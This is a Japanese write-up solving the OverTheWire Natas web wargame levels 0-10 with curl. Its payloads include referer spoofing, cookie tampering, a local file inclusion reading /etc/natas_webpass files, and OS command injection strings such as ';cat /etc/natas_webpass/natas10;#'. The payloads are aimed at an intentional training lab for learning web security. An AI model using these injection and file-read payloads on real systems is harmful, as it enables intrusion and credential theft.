OverTheWire:Natas challenge Level 0~10
OverTheWire:Natas
常設CTFで有名なOverTheWireでWeb関連の学習ができる Natasチャレンジをやっていく。 Natasは指示されたURLに、与えられたユーザとパスワードでログインして、ログイン後のページ のヒントから次のチャレンジのパスワードを探していくやつ。 今回はとりあえずLevel0~10までを、サクッとスマートにやるために curlコマンドのみでいく。
Natas Level 0
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
$ curl http://natas0.natas.labs.overthewire.org -u natas0:natas0
-uオプションでユーザとパスワードを指定して接続する。 次のチャレンジのパスワードがソースにある。
Natas Level 1
Username: natas1
URL: http://natas1.natas.labs.overthewire.org
$ curl http://natas1.natas.labs.overthewire.org -u natas1:[natas1_pass]
接続先は右クリックが使えないみたい。だけど、別にCLIでやってるのでソース見るにしても何も影響 は無い。ソースに次のパスワードある。
Natas Level 2
Username: natas2
URL: http://natas2.natas.labs.overthewire.org
$ curl http://natas2.natas.labs.overthewire.org -u natas2:[natas2_pass]
ここにはパスワードが無いようだが、他にディレクトリがあることが分かる。 そのディレクトリに接続すると、パスワードが見つかる。
$ curl http://natas2.natas.labs.overthewire.org/[directory]/ -u natas2:[natas2_pass] | sed -e 's/<[^>]*>//g' ~ # 怪しいファイルが見える ~ $ curl http://natas2.natas.labs.overthewire.org/[directory]/[file] -u natas2:[natas2_pass]
上ではIndexを見やすくするためにhtmlタグなどを単純に消している。 このチャレンジから分かるのは、パスワードとか書いてあるファイルはちゃんと管理した方が良いよということでしょう。
Natas Level 3
Username: natas3
URL: http://natas3.natas.labs.overthewire.org
$ curl http://natas3.natas.labs.overthewire.org -u natas3:[natas3_pass]
もうここからは単純にはパスワードが見つからないようである。 ここではソースにヒントがあり、「Googleでも見つけられない」というようなことが書いてあるので 何となくクローラーのことかなって思うでしょう。ということは、robots.txt。
$ curl http://natas3.natas.labs.overthewire.org/robots.txt -u natas3:[natas3_pass] ~ #怪しいディレクトリを発見 ~ $ curl http://natas3.natas.labs.overthewire.org/[directory]/ -u natas3:[natas3_pass] | sed -e 's/<[^>]*>//g' ~ #怪しいファイルを発見 ~ $ curl http://natas3.natas.labs.overthewire.org/[directory]/[file] -u natas3:[natas3_pass]
このようにパスワードが見つかる。 大切なファイルはちゃんとアクセス制御どげんかせんといかん。
Natas Level 4
Username: natas4
URL: http://natas4.natas.labs.overthewire.org
curl http://natas4.natas.labs.overthewire.org -u natas4:[natas4_pass]
今回はログインはできたが、ページのアクセスはhttp://natas5.natas.labs.overthewire.org/からしないと 認められないようだ。ということは、リファラを使えばいい。curlでは-eオプションでリファラURLを 指定する。
$ curl http://natas4.natas.labs.overthewire.org -u natas4:[natas4_pass] -e http://natas5.natas.labs.overthewire.org/
パスワードゲット。リファラでのアクセス制御はあまり信じられないということか。
Natas Level 5
Username: natas5
URL: http://natas5.natas.labs.overthewire.org
$ curl http://natas5.natas.labs.overthewire.org -u natas5:[natas5_pass]
今回はログインはできたが、ページのアクセスは認められないようだ。 特に他にヒントが見られないので、HTTPヘッダでも見てみる。
$ curl -v http://natas5.natas.labs.overthewire.org -u natas5:[natas5_pass]
-vオプションを指定してみるとリクエストとレスポンスを見られる。レスポンスを見てみると、 「loggedin」というCookieが設定されている。これをいじってみればいい。 curlでは-bオプションでCookieをセット。
curl -v http://natas5.natas.labs.overthewire.org -u natas5:[natas5_pass] -b "loggedin=1"
これでCookieをセットしてパスワードゲット。Cookieだけでアクセス制御するのは良くない。
Natas Level 6
Username: natas6
URL: http://natas6.natas.labs.overthewire.org
$ curl http://natas6.natas.labs.overthewire.org -u natas6:[natas6_pass]
何か入力フォームがあるのが分かるので、ソースにアクセスして入力フォームの制御を見てみる。
$ curl http://natas6.natas.labs.overthewire.org/index-source.html -u natas6:[natas6_pass]
とてもソースが見づらいのは分かる。これは今後の課題。でも、よーく見るとif文あたりで入力フォームの 制御が行われているのが分かる、、、。ここで、入力フォームと何らかのファイルの中身を比較していることも 分かる。なので、この秘密ファイルにアクセスしてみる。
$ curl http://natas6.natas.labs.overthewire.org/includes/secret.inc -u natas6:[natas6_pass]
入力すべきsecretを見つけたので、トップページに戻って入力する。 入力フォームへの入力データとボタンを押したデータを-dオプションで投げる。
$ curl http://natas6.natas.labs.overthewire.org -u natas6:[natas6_pass] -d "secret=FOEIUWGHFEEUHOFUOIU&submit=ok"
パスワードゲット。 やはり重要ファイルの管理は慎重に。
Natas Level 7
Username: natas7
URL: http://natas7.natas.labs.overthewire.org
curl http://natas7.natas.labs.overthewire.org/ -u natas7:[natas7_pass]
とりあえずヒントには「natas8 is in /etc/natas_webpass/natas8」とある。これをどう捉えるべきか。 他に何か手がかりがないか見てみると、「*/index.php?page=」でリンクを選択しているのが分かる。 要はどうやって「/etc/natas_webpass/natas8」にアクセスするかということ。
$ curl http://natas7.natas.labs.overthewire.org/home -u natas7:[natas7_pass] this is the front page $ curl http://natas7.natas.labs.overthewire.org/about -u natas7:[natas7_pass] this is the about page
ここで上のように、「home」と「about」ファイルが存在していることが分かる。つまり、「*/index.php?page=」で パスを指定してファイルを呼び出している可能性が考えられる。
curl http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 -u natas7:[natas7_pass]
ということでパスワードゲット。 index.phpの作りと使い方は考えもんちゅうことですな。
Natas Level 8
Username: natas8
URL: http://natas8.natas.labs.overthewire.org
$ curl http://natas8.natas.labs.overthewire.org -u natas8:[natas8_pass]
何か入力フォームがあるのが分かるので、ソースにアクセスして入力フォームの制御を見てみる。
$ curl http://natas8.natas.labs.overthewire.org/index-source.html -u natas8:[natas8_pass]
ソースを見てみると、「3d3d516343746d4d6d6c315669563362」という文字列と「bin2hex(strrev(base64_encode(入力された文字列)))」 を比較していることが分かる。すなわち、入力された文字列をbade64でエンコードして順序逆にして2進数から16進数に変換したものとの比較である。 なので、「3d3d516343746d4d6d6c315669563362」に逆の処理を施したものを入力すれば良い。 ということで、文字列入力までをシェルスクリプトにしてみましたどうぞ。
$ cat -n natas8solver.sh 1 #!/bin/bash 2 var=`echo "3d3d516343746d4d6d6c315669563362" | xxd -p -r | rev | base64 -d` 3 curl -sS -u natas8:[natas8_pass] -d "secret=${var}&submit=ok" http://natas8.natas.labs.overthewire.org
これでパスワードゲット。 ちょっとくらい複雑にしてもなんてことないですね。
Natas Level 9
Username: natas9
URL: http://natas9.natas.labs.overthewire.org
$ curl http://natas9.natas.labs.overthewire.org -u natas9:[natas9_pass]
何か入力フォームがあるのが分かるので、ソースにアクセスして入力フォームの制御を見てみる。
$ curl http://natas9.natas.labs.overthewire.org/index-source.html -u natas9:[natas9_pass]
入力された文字列で「dictionary.txt」からgrepした結果を出力している。 ここから、どうやってパスワードに繋がるのか。入力可能な文字列の制御がほとんどされていない。 感が良ければ、ソースを見た時点でコマンドインジェクションができると気づくハズ。 さらに、先ほど「/etc/natas_webpass/natas8」にアクセスしたので「/etc/natas_webpass/natas10」へアクセスを試みる。
curl http://natas9.natas.labs.overthewire.org -u natas9:[natas9_pass] -d "needle=;cat /etc/natas_webpass/natas10;#&submit=ok"
パスワードゲット。安易にwebサービスにOSコマンドを使うと危険。
Natas Level 10
Username: natas10
URL: http://natas10.natas.labs.overthewire.org
$ curl http://natas10.natas.labs.overthewire.org -u natas10:[natas10_pass]
先ほどと同じようだが何らかのフィルタかかっているようである。
$ curl http://natas10.natas.labs.overthewire.org/index-source.html -u natas10:[natas10_pass]
似たような感じでOSコマンドインジェクションの方向で攻めることができそうだが、入力可能な文字が制限されている。
今回はコマンドを途中で切ることはできないので、grepを上手く使うことで「/etc/natas_webpass/natas11」の中身を表示させる
方針でいく。
まず、コメントアウトができるので「dictionary.txt」をコメントアウトしてしまえばgrepの対象ファイルを変えることができる。
また、grepでは-fオプションで2つのファイルを指定することで2つのファイルの同じ行を抽出できる機能がある。
$ curl http://natas10.natas.labs.overthewire.org -u natas10:[natas10_pass] -d "needle=-f /etc/natas_webpass/natas11 /etc/natas_webpass/natas11 #&submit=ok"
パスワードをゲット。 思いつきのような単純な文字制御では意味がない。
今回はここまで
とりあえず今回はここまで、Level11以降はそのうち更新。